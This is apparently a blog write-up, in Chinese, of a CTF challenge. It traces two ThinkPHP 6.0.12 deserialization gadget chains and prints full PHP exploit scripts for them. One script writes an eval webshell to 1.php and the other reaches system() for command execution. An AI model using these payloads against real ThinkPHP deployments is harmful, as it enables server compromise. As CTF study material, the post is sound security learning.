国赛ezpop题目复现(tp6)

前言

五月份国赛题目涉及到tp6的反序列化,当时也是在网上找的exp打,不知道其中的链子是怎么构造的,前段时间也接触了tp框架的反序列化,利用这次机会好好复现一下,弄懂其中的原理。在ctfshow和nssctf平台都有题目环境。那么废话不多说,开始复现。

题目复现

在题目中下载源码,搞个本地环境测试方便一些。本次复现两种链子,一种是写文件的,一种是直接rce的。

写文件

开头还是一样,直接找__destruct方法,这里选择的是AbstractCache类的销毁方法。

这里的autosave可控,继续跟进save方法。这里找到Adapter类的save方法,因为Adapter类是继承于AbstractCache类的。

这里我们需要进入到write方法,file是我们可控的,而contents是由getForStorage控制的,那就跟进这个函数。

cache属性我们可控,那么继续跟进cleanContents函数。

可以看出cleaned我们可控,最后进行josn编码一下,但是也相当于可控。那么write方法的两个参数都可控了,而且我们可以调用任意类的write方法,继续跟进write方法。

这里调用了Local类的write方法。发现是有一个file_put_contents危险函数的,看看它的两个参数是否可控,那么就可以写shell了。先看location参数,跟进applyPathPrefix函数,在它的父类中找到实现方法。

这里调用了getPathPrefix函数,继续跟进,

返回值我们可控,那么applyPathPrefix函数的返回值我们也可控,那么location的值我们也可控了。再看contents参数,它最终是由cache控制,也是可控的,那么就可以写shell了。那么编写exp

<?php
namespace League\Flysystem\Adapter;

class Local{

}

namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter {
    protected $adapter;
    protected $file;
    protected $cache = [];
    protected $autosave;
    public function __construct()
    {
        $this->adapter = new Local();
        $this->outosave = false;
        $this->file = '1.php';
        $this->cache = ['<?php eval($_POST[1]);?>'];
    }
}

echo urlencode(serialize(new Adapter()));
?>

就两个类,不是很复杂。在本地打一下payload,发现本地写入了1.php。

打开1.php,就是我们要写的shell了。

发现也能成功执行命令。

那么这个反序列化链就分析到这。

直接rce

上面那条链子是在可写的基础上能用,如果www目录没有写文件的权限呢?那么接下来的这条链子就能突出它的作用了。

首先调用Model类中的__destruct方法。

继续跟进save方法,

这个利用点在updataData方法里,那么我们需要绕过这个if判断,首先要满足isEmpty返回值为false,那么跟进这个函数,

 这里的data属性我们可控,那么这个函数的返回值我们也能够可控。再看trigger函数,Model类引用了ModelEvent类,那么就在这个类找函数实现定义。

默认就返回true,那么就可以绕过if了。 那就跟进updataData方法,

这里我们需要跟进checkAllowFields方法,这个方法是默认调用的。那么就继续跟进这个方法,

这里我们需要让它调用db函数,这里默认就会触发。继续跟进db函数,

这里属性table和属性suffix进行了一个字符串的拼接,如果把table属性实例化类,就可以触发tostring方法了。 全局搜索tostring方法,最终选择Conversion类里的tostring方法,

感觉与tp5有点相似啊,继续跟进toArray函数,

这里我们需要调用getAttr函数,只要满足data是一个数组就可以自动进入到elseif这个分支里。那么继续跟进getAttr函数,

这里调用了getValue方法,参数name源于key,可控,value由getdata函数控制,跟进这个函数,

这个函数返回值由getRealFieldName函数控制。 跟进这个函数

直接返回参数,所以filedName可控,data属性也可控,所以getData返回值也可控,那么value也是可控的。那就继续跟进getvalue方法。

getJsonValue方法是最终利用函数,那么继续跟进这个方法,

$closure和$value都可控,这里是不是就可以任意函数调用了。 exp为:

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['haha' => ['ls']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['haha' => ['system']];
            $this->json = ['haha',['w']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}

namespace{
    echo urlencode(serialize(new think\model\Pivot(new think\model\Pivot())));
}
?>

exp简单说明:

这是在网上找的exp,为什么变量的赋值都在Model类中,因为Model类引用了Attribute类,那为什么最后new Pivot(new Pivot)这样new两次,因为要触发tostring方法,我们需要new Attribute类,但是Attribute类是trait定义的,不能直接实例化,这个关键字在我复现tp5.1说过,那么引用它的Model类又是一个抽象类,也不能实例化,所以说,顺藤摸瓜下来,只能去实例化继承了Model类的Pivot类了。至于这些变量的赋值操作,跟着调用链的参数情况应该能明白。最后还有命名空间的相关问题没弄太懂,之后查资料弄清楚。

结语

顺着这个题目,也抛砖引玉一下,对thinkphp6.0.12框架的反序列化链进行了一个分析。

相关文章:

ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值